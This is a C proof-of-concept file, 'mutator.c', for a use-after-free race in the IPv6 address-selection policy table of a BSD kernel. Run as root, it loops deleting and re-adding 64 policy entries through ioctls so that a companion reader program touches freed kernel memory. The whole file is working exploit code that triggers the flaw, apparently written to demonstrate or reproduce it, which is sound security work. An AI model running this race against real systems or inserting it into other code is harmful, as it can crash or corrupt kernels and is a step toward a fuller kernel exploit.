/* DF-0615 PoC: mutator.c — root, concurrent add+delete churn loop.
 *
 * Maintains NENT distinct policy entries in addrsel_policytab and constantly
 * churns them: delete entry[i] then re-add it. delete_addrsel_policyent()
 * (sys/netinet6/in6_src.c:763) does TAILQ_REMOVE + kfree(pol) at lines
 * 779-780. While a concurrent reader (reader.c) holds a pointer to entry[i],
 * this delete frees it; the reader resumes and reads freed memory (UAF).
 *
 * Runs on netisr0 (in6.c:456 lwkt_domsg(netisr_cpuport(0),...)), concurrently
 * with the reader's user thread on another CPU.
 *
 * Build: cc -O2 -o mutator mutator.c
 * Run:   ./mutator         (as root)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet6/in6_var.h>

#ifndef NENT
#define NENT 64        /* must match reader.c */
#endif

int main(int argc, char **argv) {
    int runtime = (argc > 1) ? atoi(argv[1]) : 0; /* 0 = forever */
    int s = socket(AF_INET6, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }

    struct in6_addrpolicy pol[NENT];
    memset(pol, 0, sizeof(pol));
    /* Populate: NENT distinct prefixes 2001:XX00::/24, label=i. */
    for (int i = 0; i < NENT; i++) {
        pol[i].addr.sin6_family = AF_INET6;
        pol[i].addr.sin6_len = sizeof(pol[i].addr);
        pol[i].addr.sin6_addr.s6_addr[0] = 0x20;
        pol[i].addr.sin6_addr.s6_addr[1] = 0x01;
        pol[i].addr.sin6_addr.s6_addr[2] = (i & 0xff);
        pol[i].addrmask.sin6_family = AF_INET6;
        pol[i].addrmask.sin6_len = sizeof(pol[i].addrmask);
        pol[i].addrmask.sin6_addr.s6_addr[0] = 0xff;
        pol[i].addrmask.sin6_addr.s6_addr[1] = 0xff;
        pol[i].addrmask.sin6_addr.s6_addr[2] = 0xff;
        pol[i].preced = 40 + i;
        pol[i].label = i;
    }

    /* Initial population: add all NENT entries. */
    for (int i = 0; i < NENT; i++) {
        if (ioctl(s, SIOCAADDRCTL_POLICY, &pol[i]) != 0)
            perror("initial add");
    }
    fprintf(stderr, "[mutator] populated %d entries\n", NENT);

    /* Churn: rotate delete + re-add so entries are constantly freed/realloc'd. */
    unsigned long cyc = 0;
    time_t end = runtime ? (time(NULL) + runtime) : 0;
    for (;;) {
        for (int i = 0; i < NENT; i++) {
            ioctl(s, SIOCDADDRCTL_POLICY, &pol[i]);  /* delete -> free, races reader */
            ioctl(s, SIOCAADDRCTL_POLICY, &pol[i]);  /* re-add */
        }
        cyc++;
        if ((cyc & 0x3ff) == 0)
            fprintf(stderr, "[mutator] %lu churn cycles\n", cyc);
        if (runtime && time(NULL) >= end) break;
    }

    /* Cleanup: delete all entries. */
    for (int i = 0; i < NENT; i++)
        ioctl(s, SIOCDADDRCTL_POLICY, &pol[i]);
    fprintf(stderr, "[mutator] done, %lu cycles\n", cyc);
    return 0;
}
